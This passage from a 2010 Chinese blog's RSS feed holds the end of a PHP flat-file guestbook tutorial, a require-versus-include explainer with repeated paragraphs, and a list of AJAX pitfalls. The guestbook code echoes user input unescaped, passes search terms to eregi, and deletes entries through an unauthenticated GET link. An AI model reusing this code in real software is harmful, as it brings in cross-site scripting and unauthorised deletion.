echo “＜a href=index.php?page=1＞第一页＜/a＞”;//显示第一页的连接<br />
echo ” ＜a href=index.php?page=$back＞上一页＜/a＞” ;当前页面数码号等于$back，并显示其连接<br />
}<br />
if ($page ＜＞ $total)//如果当前页面数码号不等于总页数号（最后一页数码号）<br />
{<br />
$next = $page + 1;//当前页面数码号加1并赋予变量$next<br />
echo ” ＜a href=index.php?page=$next＞下一页＜/a＞” ;//显示下一页连接<br />
echo ” ＜a href=index.php?page=$total＞最后一页＜/a＞”; 显示最后一页连接<br />
}<br />
echo “页数：$page / $total”;//显示当前页面数码号和显示最后一页数码号<br />
echo “共有 $num 条留言”;//显示留言数信息<br />
}<br />
else {<br />
echo “＜center＞当前没有任何留言！＜/center＞”;//如果文件内容为空则显示的信息<br />
}<br />
else {<br />
echo “＜center＞数据文件丢失，请联系管理员！或发布留言重新建立数据文件！＜/center＞”;//如果文件不存在显示的信息<br />
} </p>
<p>3、数据修改程序段 </p>
<p>$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
if ($n＞0){ //如果留言数大于0 </p>
<p>$fp=fopen(“gb.dat”,”w”);//则以只写模式打开文件gb.dat<br />
$gb_reply=encode($gb_reply);<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($ttime,$list[$i])){//将送来发留言时间$ttime与数组单元$list里内容进行字串匹配比较<br />
$f=explode(“　”,$list[$i]);//如果找到匹配，就以”　”作为分隔符,切开留言信息$list[$i](第$i条留言),并将这些数据赋予数组$f<br />
$f[9]=$gb_reply;//将$f[9]（留言信息最后一条数据）用$gb_reply（回复内容）代替。<br />
$list[$i]=$f[0].”　”.$f[1].”　”.$f[2].”　”.$f[3].”　”.$f[4].”　”.$f[5].”　”.$f[6].”　”.$f[7].”　”.$f[8].”　”.$f[9].”\n”; //将数组单元$list[$i]的内容用数组$f加上分隔符”　”代替（其中$f[9]是修改了的新数据）。<br />
break;//跳出循环<br />
}<br />
}//循环结束符<br />
}<br />
FOR($i=0;$i＜=$n;$i++){//进入循环<br />
fwrite($fp,$list[$i]);//将数组$list的每个单元为一行，写入文件gb.dat<br />
}//循环结束符<br />
fclose($fp);//关闭文件<br />
showmessage(“回复成功!”,”index.php”);//回复成功，自动返回主界面。 </p>
<p>4、数据删除程序段 </p>
<p>$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
if ($n＞0){//如果留言数大于0<br />
$fp=fopen(“gb.dat”,”w”);//则以只写模式打开文件gb.dat<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($ttime,$list[$i])){//将发送过来发留言时间$ttime与数组$list[$i]里的字串进行匹配比较<br />
$list[$i]=”";//如果匹配成功，则将$list[$i]清空（达到删除的目的）<br />
break;//跳出循环<br />
}<br />
}//循环结束符<br />
FOR($i=0;$i＜=$n;$i++){//进入循环<br />
fwrite($fp,$list[$i]);//将数组$list的每个单元为一行，写入文件gb.dat<br />
} //循环结束符<br />
fclose($fp);//关闭文件<br />
showmessage(“删除成功!”,”index.php”);//删除成功，自动返回主界面。<br />
} </p>
<p>5、数据查询程序段 </p>
<p>＜form action=”search.php” method=”post”＞<br />
＜font color=”#0099CC” size=”2&#8243;＞搜索关键字：<br />
＜input name=”found” type=”text” id=”found” style=”background-color:#FFFFFF; color:#8888AA; border: 1 double #3399CC” size=”12&#8243;＞<br />
＜input name=”submit” type=”image” src=”image/search.gif” alt=”留言搜索”＞<br />
＜/font＞＜/td＞ </p>
<p>＜/tr＞<br />
＜/table＞<br />
＜/form＞<br />
////////////////////////////////上面是搜索表单语句段<br />
＜?<br />
$id=0;<br />
$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
$found=trim($found);<br />
if (!$found){ //如果$found为假<br />
echo “＜center＞您没有输入任何关键字！＜/center＞”;//作相关显示<br />
}<br />
else {<br />
if($n＞0){//如果留言数大于0<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($found,$list[$i])){//输入的关键字与数组$list[$i]里的字串进行匹配比较<br />
$row=explode(“　”,$list[$i]); $id=1; //如果找到匹配，就以”　”作为分隔符,切开留言信息$list[$i](第$i条留言),并将这些数据赋予数组$row.并将变量$id赋予1，以便作为是否找到匹配的判断。<br />
list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量<br />
?＞<br />
＜img src=＜? echo $head ?＞ ＞//显示客户形象图片<br />
＜br＞<br />
＜font color=”#0099CC”＞昵称【＜? echo $name ?＞＜font size=”2&#8243;＞】＜br＞//显示客户名<br />
发表于：＜? echo $datetime ?＞//显示留言发表时间<br />
＜br＞<br />
＜img src=＜? echo $face ?＞＞//显示客户留言表情图片<br />
＜? echo $name ?＞说:＜? echo $text; ?＞//显示客户留言内容<br />
＜br＞<br />
＜? echo $reply ?＞//显示回复内容<br />
＜br＞<br />
＜a href=”＜? echo $home ?＞” target=”_blank”＞访问＜? echo $name ?＞的主页＜/a＞//客户主页的超连接<br />
＜a href=”mailto:＜? echo $email ?＞”＞给＜? echo $name ?＞发信＜/a＞//客户E-MAIL的连接<br />
＜? echo $name ?＞的QQ号码是＜? echo $qq ?＞//显示客户的QQ号码<br />
＜? echo $name ?＞的IP地址为＜? echo $ip ?＞” //显示客户的IP地址<br />
＜a href=”reply.php?time=＜? echo $datetime ?＞”＞回复＜/a＞//留言回复的连接语句<br />
＜a href=”del.php?time=＜? echo $datetime ?＞”＞删除＜/a＞//留言删除的语句（以客户留言时间$datetime作为删除标识）<br />
＜br＞<br />
＜?<br />
}<br />
}//循环结束符<br />
}}<br />
if($id==0){ echo “＜center＞没有找到与关键字匹配的留言！＜/center＞”;}//如果$id＝0则表示没找到匹配，显示相关提示<br />
?＞ </p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/%E5%88%A4%E6%96%AD" title="判断" rel="tag">判断</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%8E%B7%E5%8F%96" title="获取" rel="tag">获取</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8%E5%8D%95" title="表单" rel="tag">表单</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>require和include的异同</title>
		<link>http://www.5bay.cn/network-programming/requireeecludexi.html</link>
		<comments>http://www.5bay.cn/network-programming/requireeecludexi.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:55:41 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[失败]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=488</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/requireeecludexi.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>第一点：require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。 就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。 第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含： &#60;!&#8211;p  if(FALSE){  require(&#8216;a.php&#8217;);  }  if(FALSE){  include(&#8216;b.php&#8217;);  } &#8211;&#62; 比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：） 同时可以看下require_once和include_once的区别。 require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。 include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。如同此语句名字暗示的那样，只会包括一次。 第一点：require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。 就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。 第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含： &#60;!&#8211;p  if(FALSE){  require(&#8216;a.php&#8217;);  }  if(FALSE){  include(&#8216;b.php&#8217;);  } &#8211;&#62; 比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：） [...]]]></description>
			<content:encoded><![CDATA[<p>第一点：require() 和 <a href="http://www.5bay.cn/tag/include" class="st_tag internal_tag" rel="tag" title="标签 include 下的日志">include</a>() 除了怎样处理失败之外在各方面都完全一样。<a href="http://www.5bay.cn/tag/include" class="st_tag internal_tag" rel="tag" title="标签 include 下的日志">include</a>() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_<a href="http://www.5bay.cn/tag/path" class="st_tag internal_tag" rel="tag" title="标签 path 下的日志">path</a>。</p>
<p>就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。</p>
<p>第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含：<br />
&lt;!&#8211;p  if(FALSE){  require(&#8216;a.<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a>&#8217;);  }  if(FALSE){  include(&#8216;b.<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a>&#8217;);  } &#8211;&gt;</p>
<p>比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：）</p>
<p>同时可以看下require_once和include_once的区别。<br />
require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。<br />
include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。如同此语句名字暗示的那样，只会包括一次。</p>
<p>第一点：require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。</p>
<p>就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。</p>
<p>第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含：<br />
&lt;!&#8211;p  if(FALSE){  require(&#8216;a.php&#8217;);  }  if(FALSE){  include(&#8216;b.php&#8217;);  } &#8211;&gt;</p>
<p>比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：）</p>
<p>同时可以看下require_once和include_once的区别。<br />
require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。<br />
include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。如同此语句名字暗示的那样，只会包括一次。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%A4%B1%E8%B4%A5" title="失败" rel="tag">失败</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/requireeecludexi.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AJAX应用程序开发七宗罪</title>
		<link>http://www.5bay.cn/network-programming/ajaxeeaoe.html</link>
		<comments>http://www.5bay.cn/network-programming/ajaxeeaoe.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:53:25 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[dhtml]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[新手]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[自身]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=484</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>AJAX bandwagon是个好去处。它带给你更快、更高效、更强动态的应用。但它也有自身的缺陷。 初一看，具备一些常识似乎就能避免这些缺陷，在一定程度上，的确如此。但从DHTML起源来看，AJAX应用程序充满了结构性差异。不论你在应用程序开发工作中掌握了多少常识，从别人犯的错误中吸取教训也是有好处的。我们称这些错误为“七宗死罪”，但它们不能代表全部的错误。 事实上，在你犯这些致命过失之前，你可能首先犯了一些较轻的错误。因此我们从这里着手。这是每个人都可能犯的错误。这些错误是多么普遍，通过Google搜索一下，你就可以发现大部分的错误。 七宗轻罪 1．滥用Back按钮—这是每个人都会犯的错误。Back按钮在很多网页程序中已经成为用户的期望。很多AJAX研发新手在开发AJAX应用程序时，出于多种原因都敏捷地使用着Back按钮。首先，JavaScript对于它来说不是最友好的语言；其次，AJAX设计中需要一种全新的思考方式。 对于AJAX 研发新手“后退”显然不是最好的选择。“后退”是一种你更新页面，或更常见的，你需要在特定情况下进行“撤销”时才用到的功能。在进行编码前应认识到这些，或者你可能重复做功。 2．忘记告诉用户当前发生的状况—AJAX工作原理中的一部分是其不使用常规的网页用户界面加载程序。因此，你需要明确设计一些可视的提示，使用户了解正在发生的状况。 3．忽视链接—这也是AJAX的标准失误：漏做了程序外部用户可以剪贴的URL链接。我们都曾经多少次复制过URL链接然后将其发送给别人？当你在使用AJAX 时，提供给你的用户有用URL链接的唯一方法是，手动提供给他们。为什么？因为在AJAX程序中，服务器不提供JavaScript动态生成的这个页面！不要忽视你的用户可能感兴趣的这个网络应用中最普通的功能。既然服务器不支持，那你花点功夫为用户提供URLs。 4．用内容控制替代控制—如果你正在寻找动态的内容控制，那么对传统的客户服务器交互作用的突破对你来说可是件好事。但这也是一项罪过：在重写一个页面的某精确位置上的内容以调整用户的交互式体验时确实确实能够很好的控制，但这也将使你的页面不完整。通常，我们专注于处理页面的某一部分，而忘记服务器不刷新页面。这会导致页面凌乱，用户体验降低，当他们察看页面时可能看到过时的页面!把你的注意力放在整个页面; 确保出现动态页面的内容都得到更新。 5.累死蜘蛛 –AJAX的优势在于无需重装就可以提供给页面的大量的文本；AJAX的缺陷在于无需重装就可以提供给页面的大量的文本。如果应用被设置为对搜索引擎友好，那么，你能够想象会出现什么情况。无论页面中出现了什么，请务必在最上面植入足够稳定的文本，为蜘蛛们去玩耍吧。 产生乱码文本—AJAX不支持很多字符集。这不是涉及生死的局限性，但忘记它能够产生真的问题。最基本的字符集是UTF-8。不论JavaScript发送什么，别忘记正确地编码，并且根据内容设置服务器端的字符集。 没有为使用不支持JavaScript的浏览器的用户提供提示&#8211;有些浏览器不支持JavaScript，用户一时不能明白出了什么状况。请给他们提供提示。 实话实说，其中大部分是常识性问题。真正的问题都很容易让人忽视的。 相关博文2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- Ajax的工作原理 (1)2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- XMLHTTP对象封装技术 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2008年10月17日 -- 以人为本，美术资源的归档 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">AJAX</a> bandwagon是个好去处。它带给你更快、更高效、更强动态的应用。但它也有自身的缺陷。</p>
<p>初一看，具备一些常识似乎就能避免这些缺陷，在一定程度上，的确如此。但从DHTML起源来看，AJAX应用程序充满了结构性差异。不论你在应用程序开发工作中掌握了多少常识，从别人犯的错误中吸取教训也是有好处的。我们称这些错误为“七宗死罪”，但它们不能代表全部的错误。</p>
<p>事实上，在你犯这些致命过失之前，你可能首先犯了一些较轻的错误。因此我们从这里着手。这是每个人都可能犯的错误。这些错误是多么普遍，通过Google搜索一下，你就可以发现大部分的错误。<br />
<span id="more-484"></span><br />
七宗轻罪</p>
<p>1．滥用Back按钮—这是每个人都会犯的错误。Back按钮在很多网页程序中已经成为用户的期望。很多AJAX研发新手在开发AJAX应用程序时，出于多种原因都敏捷地使用着Back按钮。首先，JavaScript对于它来说不是最友好的语言；其次，AJAX设计中需要一种全新的思考方式。</p>
<p>对于AJAX 研发新手“后退”显然不是最好的选择。“后退”是一种你更新页面，或更常见的，你需要在特定情况下进行“撤销”时才用到的功能。在进行编码前应认识到这些，或者你可能重复做功。</p>
<p>2．忘记告诉用户当前发生的状况—AJAX工作原理中的一部分是其不使用常规的网页用户界面加载程序。因此，你需要明确设计一些可视的提示，使用户了解正在发生的状况。</p>
<p>3．忽视链接—这也是AJAX的标准失误：漏做了程序外部用户可以剪贴的URL链接。我们都曾经多少次复制过URL链接然后将其发送给别人？当你在使用AJAX 时，提供给你的用户有用URL链接的唯一方法是，手动提供给他们。为什么？因为在AJAX程序中，服务器不提供JavaScript动态生成的这个页面！不要忽视你的用户可能感兴趣的这个网络应用中最普通的功能。既然服务器不支持，那你花点功夫为用户提供URLs。</p>
<p>4．用内容控制替代控制—如果你正在寻找动态的内容控制，那么对传统的客户服务器交互作用的突破对你来说可是件好事。但这也是一项罪过：在重写一个页面的某精确位置上的内容以调整用户的交互式体验时确实确实能够很好的控制，但这也将使你的页面不完整。通常，我们专注于处理页面的某一部分，而忘记服务器不刷新页面。这会导致页面凌乱，用户体验降低，当他们察看页面时可能看到过时的页面!把你的注意力放在整个页面; 确保出现动态页面的内容都得到更新。</p>
<p>5.累死蜘蛛 –AJAX的优势在于无需重装就可以提供给页面的大量的文本；AJAX的缺陷在于无需重装就可以提供给页面的大量的文本。如果应用被设置为对搜索引擎友好，那么，你能够想象会出现什么情况。无论页面中出现了什么，请务必在最上面植入足够稳定的文本，为蜘蛛们去玩耍吧。</p>
<p>产生乱码文本—AJAX不支持很多字符集。这不是涉及生死的局限性，但忘记它能够产生真的问题。最基本的字符集是UTF-8。不论JavaScript发送什么，别忘记正确地编码，并且根据内容设置服务器端的字符集。<br />
没有为使用不支持JavaScript的浏览器的用户提供提示&#8211;有些浏览器不支持JavaScript，用户一时不能明白出了什么状况。请给他们提供提示。<br />
实话实说，其中大部分是常识性问题。真正的问题都很容易让人忽视的。</p>
